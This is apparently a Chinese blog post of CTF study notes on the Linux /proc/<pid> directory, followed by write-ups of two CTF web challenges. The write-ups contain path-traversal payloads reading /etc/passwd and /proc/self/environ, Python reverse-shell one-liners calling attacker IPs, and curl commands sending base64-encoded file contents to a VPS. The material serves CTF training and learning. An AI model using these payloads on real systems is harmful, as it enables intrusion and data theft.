Linux中/proc/目录的学习

站在巨人们的肩膀上进行的学习


文章目录

  • environ:表示为该程序所设置的环境变量。
  • maps:列出了进程所使用的库,有点长。。
  • status:包含了进程状态一般信息(text格式)
  • stat和statm:以一连串数字的形式提供进程内存消耗的信息
  • fd:文件夹内有一连串数字文件,表示文件描述符,都是符号链接,链接到对应的文件。
  • cwd:是个符号链接,对应到工作目录
  • exe:是个符号链接,对应到可执行二进制文件
  • root:指向当前进程根目录

/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件:

ls -al /proc

Linux中/proc/目录的学习
ps命令查找与进程相关的PID号:
ps a :显示现行终端机下的所有程序,包括其他用户的程序。
Linux中/proc/目录的学习

cmdline

这个文件给出了内核启动的命令。它和用于进程的cmdline项非常相似。

cat /proc/1536/cmdline

Linux中/proc/目录的学习
可知PID为1536的进程的启动命令为/usr/bin/zsh

cwd

是个符号链接,对应到指定进程的工作(运行)目录

ls -al /proc/1536/cwd 

Linux中/proc/目录的学习
可见PID为1536的进程的运行目录为/,然后可以通过ls命令读出此进程的运行目录:

 ls  /proc/1536/cwd 

Linux中/proc/目录的学习

exe

这是个目录,指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径:

ls -al /proc/1536/exe

Linux中/proc/目录的学习

environ

当前进程的环境变量列表文件,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示;

cat  /proc/1536/environ

Linux中/proc/目录的学习

fd

这是个目录,包含当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接;

Linux文件描述符:可以理解为Linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在:/proc/<pid>/fd/<id>

即每个通过这个进程打开的文件都会显示在fd目录中。所以我们可以通过fd目录里的文件获得指定进程所打开的每个文件的路径以及文件内容。

查看指定进程打开的某个文件的路径:

ls -al /proc/1536/fd

Linux中/proc/目录的学习
查看指定进程打开的某个文件(id为4)的内容

ls -al /proc/1070/fd/4

Linux中/proc/目录的学习

这个fd比较重要,因为在 linux 系统中,如果一个程序用open()打开了一个文件但最终没有关闭它,即便从外部(如os.remove(SECRET_FILE)删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容


/proc/self

/proc/self表示当前进程目录

为了更方便的获取本进程的信息,Linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息时不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。

1.获取当前进程的启动命令

cat /proc/self/cmdline

2.获取目标当前进程环境的运行目录与目录里的文件:

ls -al /proc/self/cwd
ls /proc/self/cwd

当不知道目标网站的Web路径或当前路径时,这经常使用

3.获得当前进程的可执行文件的完整路径

ls -al /proc/self/exe

4.获取当前进程的环境变量信息:

cat /proc/self/environ

5.获取当前进程打开的文件内容:

cat /proc/self/fd/{id}

连接:

net start sshd

ssh -p 25112 root@node3.buuoj.cn






[网鼎杯 2020 白虎组]PicDown

在URL处有个文件读取:

/page?url=../../../../etc/passwd

可以尝试读取一下根目录文件,猜测flag文件

/page?url=../../../../flag

发现真有flag文件。当然这绝对不是预期解法

一般要尝试访问一下/proc/self目录

/page?url=../../../../proc/self/cmdline
/page?url=../../../../proc/self/environ

访问cmdline文件时返回一个
Linux中/proc/目录的学习
发现是python环境,读取一下app.py文件:

/page?url=../../../../app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)	#删除文件


@app.route('/')
def index():
    return render_template('search.html')

@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

分析一下:/tmp/secret.txt下有一个KEY,需要这个KEY才能到/no_one_know_the_manager网页下执行system命令

但是直接访问/tmp/secret.txt返回空,因为os.remove(SECRET_FILE)这个函数删除了文件,但这么删除会留下文件描述符在内存中,考察了利用文件描述符读取文件

linux有下面的特性,系统中如果一个程序打开了一个文件没有关闭,即便从外部(如os.remove(SECRET_FILE))删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。

因为具体这个文件的进程是多少不知道,需要爆破一下:
Linux中/proc/目录的学习
Linux中/proc/目录的学习
得到key以后就去执行命令了,但执行一下会发现是没有回显的!这时候需要带外数据了

Python反弹shell

Python反弹shell的脚本:

import socket,subprocess,os
s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址 SOCK_STREAM建立tcp链接
s.connect(("192.168.1.12",7111))#你要回shell的机子
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

python -c 可以在命令行中调用 python 代码, 实际上 -c 就是 command 的意思
类似于php -r

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('119.xxx.xxx.xxx',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Linux中/proc/目录的学习

Linux中/proc/目录的学习

curl带出数据

不反弹shell,还有通过curL带出数据的:

curl http://119.xxx.xxx.xxx/`ls / |base64`
curl http://119.xxx.xxx.xxx/`cat /f* |base64`

这里用base64是因为日志中只能看到第一行的内容,而原本的内容是有多行的,所以我们将结果base64编码成一行

VPS上查看日志文件:/var/log/httpd/access.log
Linux中/proc/目录的学习

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')





[V&N2020 公开赛]CHECKIN

这题可以直接连接自己的VPS,不用听题目的开个内网靶机

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

还是一样的问题,直接就删除了文件,但是会留下文件操作符,一样给了个system函数,继续通过python反弹shell,但这里有个坑是执行环境只有python3而不是python了

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.xxx.xxx.xxx",7000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Linux中/proc/目录的学习

连上以后要寻找文件了,可以一个个试出来,但还是总结一下大佬们的寻找方式有三种(就看到三种):

1. 通配符

这个简单易上手

cat /proc/*/fd/*

Linux中/proc/目录的学习

2.lsof命令

列出活跃进程的所有打开文件

lsof

但是这题环境没有安装这个命令

3.python命令

有python环境就可用pyhton来查询:

python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/3') for i in range(20)];"
狠一点的话
python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/'+str(j)) for i in range(20) for j in range(10)];"

参考

Proc 目录在 CTF 中的妙用
/proc文件与/etc文件
Linux的/proc/self/学习 ++ CTF例题

上一篇:linux通过meminfo 与 slab 定位内存泄漏


下一篇:NFV场景下优化KVM--低时延